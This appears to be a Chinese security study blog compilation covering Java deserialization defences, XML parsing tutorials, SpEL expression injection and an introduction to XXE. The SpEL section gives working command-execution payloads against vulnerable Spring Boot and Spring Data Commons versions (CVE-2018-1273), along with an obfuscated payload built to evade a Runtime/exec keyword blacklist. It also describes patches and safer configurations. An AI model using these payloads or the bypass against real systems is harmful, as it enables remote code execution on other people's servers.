private long maxStreamBytes = 78; // Maximum allowed bytes in the stream.
private long maxDepth = 1; // Maximum depth of the graph allowed.
private long maxReferences = 1; // Maximum number of references in a graph.
@Override
public Status checkInput(FilterInfo filterInfo) {
if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) {
return Status.REJECTED;
}
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
if (SerialObject.class == filterInfo.serialClass()) {
return Status.ALLOWED;
}
else {
return Status.REJECTED;
}
}
return Status.UNDECIDED;
} // end checkInput
} // end class BikeFilter
上述示例代码,仅允许反序列化SerialObject类对象。

禁止JVM执行外部命令Runtime.exec

通过扩展SecurityManager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager,保护自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}

@Override
public void checkPermission(Permission perm) {
check(perm);
}

@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};

System.setSecurityManager(sm);
}

不建议使用的黑名单

在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击,这个做法在源代码修复的时候并不是推荐的方法,因为你不能保证能覆盖所有可能的类,而且有新的利用payload出来时也需要随之更新黑名单,但有一种场景下可能黑名单是一个不错的选择。写代码的时候总会把一些经常用到的方法封装到公共类,这样其它工程中用到只需要导入jar包即可,此前已经见到很多提供反序列化操作的公共接口,使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口,会反序列化什么类,所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化,具体的黑名单类可参考contrast-rO0、ysoserial中paylaod包含的类。

总结

感觉在实战中遇到的Java站点越来越多,Java反序列化漏洞的利用也愈发显得重要。除了常见的Web服务反序列化,安卓、桌面应用、中间件、工控组件等等的反序列化。以及XML(前一阵的Weblogic挖矿事件就是XMLDecoder引起的Java反序列化)、JSON、RMI等细致化的分类。
代码审计及渗透测试过程中可以翻阅我翻译的一份Java反序列化漏洞备忘单,里面集合了目前关于Java反序列化研究的大会PPT、PDF文档、测试代码,以及权威组织发布的漏洞研究报告,还有被反序列化攻破的应用清单(附带POC)。
这着实是一个庞大的知识体系,笔者目前功力较浅,希望日后还能和各位师傅一起讨论、学习。
防御部分的代码不是我自己写的,而且有些是参考人家的。

参考链接:

反序列化原理—http://www.hollischuang.com/archives/1140
深入理解JAVA反序列化漏洞—https://paper.seebug.org/312/
Attacking Java Deserialization— https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
java反序列化工具ysoserial分析—http://drops.xmd5.com/static/drops/papers-14317.html
JAVA反序列化漏洞之殇(防御部分代码作者)—https://github.com/Cryin/Paper/blob/master/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8:JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E6%AE%87.md
breenmachine师傅的分析—https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
Lib之过?Java反序列化漏洞通用利用分析—https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

java操作xml的几种方式

我们要解析的xml格式如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book id="1">
<name>冰与火之歌</name>
<author>乔治马丁</author>
<year>2014</year>
<price>89</price>
</book>
<book id="2">
<name>安徒生童话</name>
<year>2004</year>
<price>77</price>
<language>English</language>
</book>
</bookstore>

我们可以看到xml的存储结构就是传统的树状结构。

我们之所以要用xml是由于跨平台传输。

下面我们开始解析xml为了xxe做铺垫。

0x1 应用DOM方式解析XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.unctf.demo;

import java.io.IOException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

import org.w3c.dom.Document;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

public class Test3 {
public static void main(String[] args) {
// 创建一个dom工厂对象
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
DocumentBuilder db = dbf.newDocumentBuilder();
// 通过DocumentBuilder对象中的parse方法加载books.xml
Document document = db.parse("./src/com/unctf/demo/Book.xml");
// 获取nodeList的所有book结点
NodeList bookList = document.getElementsByTagName("book");
// 获取节点的长度
System.out.println("一共有" + bookList.getLength() + "本书");
// 开始遍历节点
for (int i = 0; i < bookList.getLength(); i++) {
Node book = bookList.item(i);
// 每个节点的map属性
NamedNodeMap attrs = book.getAttributes();
for (int j = 0; j < attrs.getLength(); j++) {
Node attr = attrs.item(j);
System.out.println("属性名:" + attr.getNodeName());
System.out.println("属性值:" + attr.getNodeValue());
}


// 解析nodelist的子节点
NodeList childNodes = book.getChildNodes();
System.out.println("第" + (i + 1) + "本书共有" + childNodes.getLength() + "个子节点");
for (int k = 0; k < childNodes.getLength(); k++) {
// 区分出text类型的node和element类型的node
if (childNodes.item(k).getNodeType() == Node.ELEMENT_NODE) {
// 获取了element类型节点的节点名
System.out.print("第" + (k + 1) + "个节点的节点名: " + childNodes.item(i).getNodeName());
System.out.println("--节点值是:" + childNodes.item(k).getFirstChild().getNodeValue());
} else {
System.out.println("--节点值是:" + childNodes.item(k).getTextContent());
}
}

}

} catch (ParserConfigurationException e) {
e.printStackTrace();
} catch (SAXException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
直接运行一下明显的看到解析出所有的节点。

DOM解析会将整个xml文件加载到内存中吗,然后逐个解析

Sax解析是通过handler处理类逐个进行解析每个节点
在处理DOM的时候,我们需要读入整个的XML文档,然后在内存中创建DOM树,生成DOM树上的每个NODE对象。当文档比较小的时候,这不会造成什么问题,但是一旦文档大起来,处理DOM就会变得相当费时费力。特别是其对于内存的需求,也将是成倍的增长,以至于在某些应用中使用DOM是一件很不划算的事。这时候,一个较好的替代解决方法就是SAX。 SAX在概念上与DOM完全不同。首先,不同于DOM的文档驱动,它是事件驱动的,也就是说,它并不需要读入整个文档,而文档的读入过程也就是SAX的解析过程。所谓事件驱动,是指一种基于回调(callback)机制的程序运行方法。在XMLReader接受XML文档,在读入XML文档的过程中就进行解析,也就是说读入文档的过程和解析的过程是同时进行的,这和DOM区别很大。

代码示例Book实体类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.unctf.demo;

public class Book {
String name;
String author;
String price;
int age;
String title;

public Book(String name, String author, String price, int age, String title) {
super();
this.name = name;
this.author = author;
this.price = price;
this.age = age;
this.title = title;
}

public Book() {
super();
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getAuthor() {
return author;
}

public void setAuthor(String author) {
this.author = author;
}

public String getPrice() {
return price;
}

public void setPrice(String price) {
this.price = price;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getTitle() {
return title;
}

public void setTitle(String title) {
this.title = title;
}

@Override
public String toString() {
return "Book [name=" + name + ", author=" + author + ", price=" + price + ", age=" + age + ", title=" + title
+ "]";
}
}

books.xml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="utf-8"?>
<bookstore>
<book>
<name>浪潮之巅</name>
<author>吴军</author>
<price>50</price>
<message>
<age>50</age>
</message>
</book>
<book>
<name>数学之美</name>
<author title='ADS'>陆奇</author>
<price>29</price>
<message>
<age>50</age>
</message>
</book>
</bookstore>

测试的主类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
package com.unctf.demo;

import java.util.ArrayList;

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;

/**
* 1. 要用sax解析xml文档 需要自己去实现一个事件处理器
* 2. 事件处理器会有一些事件的callback函数,需要我们去重写
* @author liangjie
*
*/
class SaxHanlder extends DefaultHandler {
// 用来标识区分相同标签的节点
boolean flag = false;
int booknum = 0;
// 集合用来存放book对象
ArrayList<Book> booklist = new ArrayList<>();
Book book;
// 全局变量用来记录每一次查找解析到的标签 方便清空
String previousTagName;

@Override
/*
* 1. startElement(String uri,String localName,String qName,Attributes attributes)
* 2. qName - 限定的名称(带有前缀),如果限定的名称不可用,则为空字符串。 attributes - 元素的属性。如果没有属性,则它将是空的
* 3. Attributes 对象
* 4. 每解析到 一个元素(element)的时候都会触发这个函数,并且将这个element的属性attributes和值value当作参数传进来
*/
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
// 找到第二本book的name
if (qName.equals("name")) {
booknum++;
if (booknum == 2) {
flag = true;
}
}
// 找到了“book”开始标签
if (qName.equals("book")) {// 创建对象 准备接收其属性
book = new Book();
} else if (qName.equals("author")) {
// 获取title属性
String value = attributes.getValue("title");
if (book != null) {
// 设置title
book.setTitle(value);
}
}
// 本次查找完成 需要的属性值已经传给对象
previousTagName = qName;
}

// 当解析到一个元素标签的结束的时候 会调用
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
// System.out.println("endElement: "+qName);
// 找到了“book”结束标签
if (qName.equals("book")) {// 把book对象加入集合中 同时并将其清空 用于下一次查找
booklist.add(book);
book = null;
} // 本标签内的查找 结束 清空tag
previousTagName = "";
}

// 当解析到一个文本节点的时候会调用
@Override
public void characters(char[] ch, int start, int length) throws SAXException {

if (flag) {// 找到了第二个name节点 获取其内容
System.out.println("文本节点:" + new String(ch, start, length));
flag = false;
}

// 获取文本节点内容
String text = new String(ch, start, length);
switch (previousTagName) {
// 标签值如果匹配<name> 把name标签的文本内容传给book对象
case "name":
book.setName(text);
break;
case "author":
book.setAuthor(text);
break;
case "price":
book.setPrice(text);
break;
case "age":
// 标签匹配age text中存的是字符串
book.setAge(Integer.parseInt(text));
break;
default:
break;
}
}

// 当解析到一个document文档的开始的时候会调用
@Override
public void startDocument() throws SAXException {
System.out.println("startDocument:");
}

// 当解析到一个document文档的结尾的时候 会调用
@Override
public void endDocument() throws SAXException {
System.out.println("endDocument:" + booklist);
}
}

public class Test4 {
public static void main(String[] args) throws Exception, SAXException {
// 使用SAXParseFactory创建解析工厂
SAXParserFactory spf = SAXParserFactory.newInstance();
// 通过SAX解析工厂得到解析器对象
SAXParser sp = spf.newSAXParser();
// 通过解析器对象得到一个XML的读取器
XMLReader xmlReader = sp.getXMLReader();
// 设置读取器的事件处理器
xmlReader.setContentHandler(new SaxHanlder());
// 解析xml文件
xmlReader.parse("./src/com/unctf/demo/books.xml");
}
}

DOM4J 是第三方提供的解析XML方法,需要dom4j-1.6.1.jar包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.unctf.demo;

import org.dom4j.Attribute;
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;

import java.io.File;
import java.net.MalformedURLException;
import java.util.Iterator;
import java.util.List;

public class Dom4jTest {
public static void main(String[] args) {
SAXReader reader = new SAXReader();
try {
Document document = reader.read(new File("book.xml"));
Element bookStore = document.getRootElement();
Iterator it = bookStore.elementIterator();
while (it.hasNext()) {
System.out.println("begin");
Element book = (Element) it.next();
List<Attribute> bookAttrs = book.attributes();
for (Attribute attr : bookAttrs) {
System.out.println("属性名" + attr.getName() + "属性值" + attr.getValue());
}
//解析子节点
Iterator iterator = book.elementIterator();
while (iterator.hasNext()) {
Element bookChild = (Element) iterator.next();
System.out.println("节点名:" + bookChild.getName() + "节点值" + bookChild.getStringValue());
}
}
} catch (DocumentException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}

XML四种解析方式性能测试:

SAX>DOM>DOM4J>JDOM
JUnit是Java提供的一种进行单元测试的自动化工具。测试方法可以写在任意类中的任意位置。使用JUnit可以没有main()入口进行测试。
DOM4J在灵活性和对复杂xml的支持上都要强于DOM
DOM4J的应用范围非常的广,例如在三大框架的Hibernate中是使用DOM4J的方式解析文件的。
DOM是w3c组织提供的一个官方解析方式,在一定程度上是有所应用的。
当XML文件比较大的时候,会发现DOM4J比较好用
多使用dom4j

第四个遇到在好好研究了。

SpEL表达式注入

SpEL简介

Spring Expression Language是一种强大的表达式语言,Spring开发中经常会用到。正是因为功能强大,导致在某些情况下,用户可从外部注入SpEl表达式,导致命令执行。
用法
SpEl表达式有3种用法,@Value、xml配置、代码块中使用Expression。在漏洞审计过程中,主要关注Expression这种情况,另外两种情况一般都是写死的,攻击者不可控
@value
1
2
@value("#{表达式}")
public String org;
xml配置(jackson的CVE-2017-17485构造恶意xml文件就是这种方式)
1
2
3
<bean id="Bean1" class="com.test.xxx">
<property name="arg" value="#{表达式}">
</bean>
代码块中使用Expression
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args){
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//放置表达式
Expression expression = parser.parseExpression("${123}");
//执行表达式,默认容器是spring本身容器:ApplicationContext
Object obj = expression.getValue();
System.out.println(obj);

//使用其他容器方法
//创建虚拟容器StandardEvaluationContext
StandardEvaluationContext context = new StandardEvaluationContext();
//向容器内添加Bean
User user = new User();
context.setVariable("bean_id",user);
//执行表达式
Object obj2 = expression.getValue(context);
}
}
SpEL工作流程
1
2
3
4
1.定义解析器ExpressionParser,Spring中默认为SpelExpressionParser			
2.调用解析器的parseExpression()方法将传入字符串转为Expression对象
3.(这一步可选)定义上下文,SpEL使用接口EvaluationContext,如果不创建,默认为Spring容器ApplicationContext
4.执行setValue()或getValue()求值
语法实例
除了基本类型表达式,我们需要掌握的是类相关的表达式
类相关表达式
使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段
1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"mspaint\")");
Object obj = exp.getValue();

弹出画图

类的实例化
1
2
3
4
5
6
7
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new java.util.Date()");
Object obj = exp.getValue();
System.out.println(obj);

output:
Mon May 27 11:40:08 CST 2019
对象方法的调用
与java语法一样,直接调用即可
1
2
3
String exp  = parser.parseExpression("'abcde'.substring(0,2)").getValue(String.class);

output: ab
变量定义及引用
变量通过EvaluationContext接口的setVariable(name,value)定义,在表达式中使用#name引用;另外还可以用#root与#this引用根对象与上下文对象.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext(new User());
context.setVariable("beanId1", "test1"); //自定义变量

//获取自定义变量 beanId1 test1
String result1 = parser.parseExpression("#beanId1").getValue(context, String.class);

//获取根对象 即User User@40f0c
User result2 = parser.parseExpression("#root").getValue(context, User.class);
System.out.println(result2);

//获取当前上下文对象 USer User@40f0c
User result3 = parser.parseExpression("#this").getValue(context, User.class);
System.out.println(result3);

主要接口

ExpressionParser
解析器,该接口的默认实现是SpelExpressionParser,使用其parseExpression()方法将字符串表达式转换为Expression对象。
1
2
3
4
public interface ExpressionParser{
Expression parseExpression(String varl) throws ParseException;
Expression parseExpression(String varl,ParserContext var2) throws ParseException;
}
实例:
ParserContext接口用于定义传入的字符串表达式是不是模板,我们这里自定义一个ParserContext对象,并实现主要方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ExpressionParser parser = new SpelExpressionParser();
ParserContext parserContext = new ParserContext() {
public boolean isTemplate() {
return true;
}

public String getExpressionPrefix() {
return "#{";
}

public String getExpressionSuffix() {
return "}";
}
};
Expression exp = parser.parseExpression("#{'hello '}",parserContext);
String msg = (String) exp.getValue();
System.out.println(msg);
我们使用parseExpression()解析表达式时指定该对象,表示传入表达式须为模板(${})格式。
Expression接口
表达式对象,默认实现为org.springframework.expression.spel.standard的SpelExpression,其中getValue()方法用于获取表达式值,setValue()方法用于设置对象值(都会执行表达式,所以SpEl注入要重点关注这两个方法)
EvaluationContext接口
表示上下文环境,用于解析属性,方法与特殊字段的一个接口。默认实现为org.springframework.expression.spel.support中的StandardEvaluationContext,使用setRootObject设置根对象,setVariable()注册自定义变脸,registerFunction()注册自定义函数等等
SpEl提供的2个EvaluationContext的区别
1
2
3
4
StandardEvaluationContext  功能强大,可以设置SpEl的所有配置,包括Java类型,Bean的引用等,是不安全的。		

SimpleEvaluationContext 仅支持SpEL语言语法的子集(Map),不包括Java类型引用,Bean引用等
可用于防止SpEl表达式注入,本文实例中的Spring Data Commons的RCE 官方修复方案就是将StandardEvaluationContext替换为SimpleEvaluationContext

SpEL导致的任意命令执行原理分析

成因:
1.不设置容器(默认ApplciationContext)或设为StandardEvaluationContext
2.用户可控控制表达式内容且无过滤
3.最后使用getValue()或setValue()执行了表达式
4.可以运行上面的代码,查看执行的效果。

漏洞案例分析

SpringBoot SpEL表达式注入漏洞
使用SpEL渲染错误页面,当攻击者传入SpEL表达式,程序解析时触发执行表达式
利用条件
1.SpringBoot版本
1
2
3
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
2.在Controller中,异常信息中存在可控数据

环境搭建

新建一个Maven项目如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pom.xml
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.5.RELEASE</version>
<relativePath/>
</parent>

TestController.java
@Controller
public class TestController {
@RequestMapping("/")
public String test(String payload){
System.out.println("test");
throw new IllegalArgumentException(payload);
}
}

DemoApplication.java
@SpringBootApplication
@ComponentScan(basePackages = {"sample.controller"})
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
}
直接运行DemoApplication.main()即可启动SpringBoot程序
请求:
1
2
3
4
http://localhost:8080/?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}


http://localhost:8080/?payload=${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream())}

漏洞分析

漏洞成因
ErrorMvcAutoConfiguration下面的SpelView类的render(),该方法作用是解析Whitelabel Error Page模板内容并填充数据,在填充数据过程中递归解析的${message}(用户可控),导致SpEl表达式注入。

下面参考人家的调试过程。

开始调试,首先进入org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration#render()

函数设置this.context的RootObject值,接着调用replacePlaceholders(),其中
1
this.template="<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>"
跟进replacePlaceholders():

该方法作用是将表达式结果替换,跟进parseStringValue(),这个就是我们解析的关键函数

循环取得以${开头,以}为结尾的表达式,挨个赋值。当解析到message时,跟进resolvePlaceholder():

就到了我们解析表达式的地方:

因为${message}内容为${paylaod},所以会再次解析

最后调用getValue()造成命令执行

Whitelabel Error Page是如何实现的

为什么我们的controller发生错误,而我们自己没有进行异常捕获,默认会跳转到Whitelabel Error Page页面
SpringBoot内部提供了一个ErrorControllerBasicErrorController,其@RequestMapping默认为/error,当SpringBoot程序的Controller发生错误,默认去访问/error,请求在BasicErrorController处理,返回error视图,而error这个Bean在ErrorMvcAutoConfiguration的自动化配置类中定义,它会返回SpelView视图也就是刚才的Whitelabel Error Page页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected static class WhitelabelErrorViewConfiguration {
private final ErrorMvcAutoConfiguration.SpelView defaultErrorView = new ErrorMvcAutoConfiguration.SpelView("<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>");

protected WhitelabelErrorViewConfiguration() {
}

@Bean(
name = {"error"}
)
@ConditionalOnMissingBean(
name = {"error"}
)
public View defaultErrorView() {
return this.defaultErrorView;
}
我们漏洞发生的地方就是在使用SpEl表达式从当前contextRootObject中获取相关数据(exception path message等)填充到Whitelabel Error Page页面时发生的。

漏洞修复

参考:https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6?diff=split
SpringBoot版本为1.3.5.RELEASE
官方给的修复方式是增加了NonRecursivePropertyPlaceholderHelper类,防止递归解析其中的SpEl表达式
SpelView类的helper变为了NonRecursivePropertyPlaceholderHelper对象:
1
private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");

测试补丁

第一次解析${messae}时,类型为:

接着会判断是否是NonRecursivePlaceholderResolver的实例对象,若是,则直接返回null,若不是再解析

所以第一次解析${message}时,会去解析表达式expression得到我们的payload,而再次解析我们传入payload时,类型变为:

所以会直接返回null,解析失败。

注意:

若修改了SpringBoot的版本,Spring的版本也要跟着修改匹配,匹配表:https://www.cnblogs.com/badtree/articles/9145493.html
Spring Data Commons远程代码执行漏洞(CVE-2018-1273)
使用了StandardEvaluationContext作为虚拟容器,表达式可控且最后调用了其setValue()方法
漏洞环境参考:https://github.com/wearearima/poc-cve-2018-1273

利用条件

影响版本:
1
2
1.13-1.13.10
2.0-2.0.5

漏洞分析

传入payload:
1
2
3
4
http://127.0.0.1:8080/account			
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123

name[T(java.lang.Runtime).getRuntime().exec('calc')]=123

根据分析文章,我们直接定位到org.springframework.data.web.MapDataBinder.setProperty(),下个断点,由函数名字可看出该方法作用时是设置成员变量值

propertyName是我们传入的payload,接着设置了context与expression,最后调用setValue()触发

弹出计算器

修复

官方修复代码:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
大意为StandardEvaluationContext更换为SimpleEvaluationContext,在基础知识中我们已经讲到后者权限较小,不能执行恶意代码,只支持一些map结构,所以可以防止被攻击。

防御

最简单的方法就是使用较为安全的实现类SimpleEvaluationContext去防御
官方文档可参考:https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
一般使用:
1
2
3
4
5
User user=new User("P0rZ9");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("name");
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(user).build();
exp.getValue(context);

总结

一般使用SpEl表达式的就是利用其内部使用反射这个特点,从而很方便去操作Bean 存取数据等。以后在审计时可以通过留意StandardEvaluationContext与getValue() setValue()这些关键方法。
参考链接
https://www.cnblogs.com/litlife/p/10183137.html#x04%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/litlife/p/10183137.html#x04%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&mid=2650173748&idx=1&sn=a0fa9e48ed05d80b7c693082f6b687ce&scene=1&srcid=0911LaFVNrVdYZr7nIyS8Nn3#rd
https://www.kingkk.com/2019/05/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5-%E5%85%A5%E9%97%A8%E7%AF%87/
https://laworigin.github.io/2019/04/09/Spring-messaging-SPEL-Injection/

SpEL表达式测试注入篇:

基础测试例子:
1
2
3
4
5
6
7
@RequestMapping("/spel")
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
对于这种我们先简单输入2*2,如果解析返回值是4存在注入。
简单执行系统命令:
1
2
/spel?input=new java.lang.ProcessBuilder("calc").start()
/spel?input=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
上面已经详细介绍了污染的版本,和解决方案。
下面给出过滤规则:
1
2
3
4
5
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
payload如下:
1
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
我们可以一步一步来分析下这个payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
''.getClass()
// class java.lang.String

''.getClass().forName('java.la'+'ng.Ru'+'ntime')
// class java.lang.Runtime

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass())
// public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime')
// public static java.lang.Runtime java.lang.Runtime.getRuntime()

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null)
// java.lang.Runtime@c2939a

''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')
// java.lang.ProcessImpl@f2f85c

xxe篇:

什么是XXE:
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)

背景知识:

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

基础知识:

XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的,如下:
示例代码:
1
2
3
4
5
6
7
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例代码:
1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的
示例代码:
1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
示例代码:
1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
